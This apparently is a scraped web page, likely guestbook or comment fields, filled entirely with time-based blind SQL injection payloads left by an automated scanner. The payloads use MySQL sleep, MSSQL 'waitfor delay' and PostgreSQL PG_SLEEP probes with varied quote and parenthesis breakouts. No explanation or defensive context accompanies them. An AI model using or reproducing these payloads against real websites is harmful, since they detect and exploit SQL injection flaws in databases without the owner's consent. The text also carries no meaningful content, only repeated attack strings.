(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
555-1); waitfor delay '0:0:15' -- 
-1; waitfor delay '0:0:15' --

Guest:
555-1); waitfor delay '0:0:15' -- 
-1); waitfor delay '0:0:15' --

Guest:
555-1); waitfor delay '0:0:15' -- 
-1 waitfor delay '0:0:15' --

Guest:
555-1); waitfor delay '0:0:15' -- 
Nv6P5qGg'; waitfor delay '0:0:15' --

Guest:
555-1); waitfor delay '0:0:15' -- 
iKgB3wi7'); waitfor delay '0:0:15' --

Guest:
555-1); waitfor delay '0:0:15' -- 
7uZnzDbC')); waitfor delay '0:0:15' --

Guest:
555-1); waitfor delay '0:0:15' -- 
sNI0vBO2' OR 578=(SELECT 578 FROM PG_SLEEP(15))--

Guest:
555-1); waitfor delay '0:0:15' -- 
eV6nmlNF') OR 943=(SELECT 943 FROM PG_SLEEP(15))--

Guest:
555-1); waitfor delay '0:0:15' -- 
0UXk2QoI')) OR 178=(SELECT 178 FROM PG_SLEEP(15))--